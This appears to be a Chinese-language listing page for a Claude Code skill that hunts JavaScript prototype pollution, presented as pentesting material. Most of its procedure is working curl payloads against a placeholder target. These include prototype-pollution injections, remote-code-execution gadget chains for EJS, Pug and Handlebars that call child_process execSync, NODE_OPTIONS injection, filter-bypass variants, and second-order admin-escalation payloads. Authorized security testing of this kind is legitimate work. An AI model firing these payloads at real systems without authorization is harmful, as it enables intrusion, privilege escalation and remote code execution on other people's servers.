mcpField
H
hunt-prototype-pollution

hunt-prototype-pollution

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-prototype-pollution

hunt-prototype-pollution 是用于查找 JavaScript 原型污染的安全测试技能,面向应用安全研究人员。内容涵盖客户端与服务端攻击路径、结果验证,以及可能通向 XSS、越权或代码执行的利用链。

主要功能

  1. 01探测客户端污染路径
  2. 02测试服务端对象合并
  3. 03检查模板与进程利用点
  4. 04评估过滤绕过方法
  5. 05验证影响与利用链

适用场景

  1. 01测试合并用户输入的 JavaScript 应用
  2. 02检查污染是否到达模板或进程调用点
  3. 03验证 DOM XSS 或越权影响

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-prototype-pollution

安装后在 Claude Code 中输入/hunt-prototype-pollution确认已加载。

详细介绍

原型污染探测

探测用户提供的属性合并到 Object.prototype 中的原型污染漏洞,从而影响运行时中的所有对象。客户端污染可能导致 DOM XSS、Cookie 操纵和身份验证绕过。服务端污染则可通过模板引擎(EJS、Pug、Handlebars)和 CLI 封装程序(child_process、NODE_OPTIONS)中的 gadget 链,进一步导致 RCE。

使用场景

  • 应用使用 JavaScript/Node.js,在用户输入上执行对象合并、克隆或扩展操作。
  • 对不可信数据使用 jQuery $.extend(true, ...) 或 $.fn.merge() 进行深拷贝。
  • Lodash _.merge()、_.defaultsDeep()、_.set() 接收请求正文或查询参数。
  • 同一运行时中的模板引擎(EJS、Pug、Handlebars)会处理用户可控对象。
  • 服务端 Node.js 可通过被污染的选项访问 child_process.exec/spawn。

快速检测

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

流程

阶段 1 — 客户端污染向量
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'
阶段 2 — 通过 gadget 链实现服务端 RCE

EJS RCE(outputFunctionName):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'

Pug RCE(self.block):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Handlebars RCE(compileFunction):

curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'

注入 NODE_OPTIONS:

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
阶段 3 — 绕过过滤的技巧
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1         # blocked
https://target.com/?__pröto__[test]=1         # bypass (ä normalizes to a)

# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"__proto__":{"polluted":[]}}'  # forces array coercion

# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
阶段 4 — 客户端利用
// Verify pollution in browser console
Object.prototype.polluted  // should return the injected value

// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}

// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
阶段 5 — 二阶污染
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":{"__proto__":{"isAdmin":true}}}'

# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context

常见问题

  • 请求中出现 __proto__ 并不一定意味着发现了漏洞。 只有被污染的属性实际影响应用行为时,才应报告。
  • Node.js 12+ 和较新版本的 lodash 有部分缓解措施。 请先使用较旧版本进行测试。
  • 服务端污染需要 gadget。 如果污染的对象无法到达接收点(exec、eval、模板),就不会造成影响。
  • BlackFan 的客户端原型污染目录是权威参考资料;请对照它核查发现。

验证

  1. 注入 __proto__[test]=value,并在浏览器控制台或服务端响应中确认 Object.prototype.test === value。
  2. 对于 RCE:确认命令执行会在可见接收点中产生输出(id/whoami)。
  3. 对于 XSS:确认被污染的属性会到达 innerHTML、eval、document.write 或脚本的 src 属性。
  4. 记录具体的合并/复制函数和被污染的属性链。

相关技能

  • hunt-nodejs — Node.js 特有的漏洞,包括 Express/Next.js 中的原型污染。
  • hunt-xss — DOM XSS 通常可通过客户端原型污染利用。
  • hunt-api-misconfig — 合并请求正文中的对象时未检查 hasOwnProperty。

评论

支持 Markdown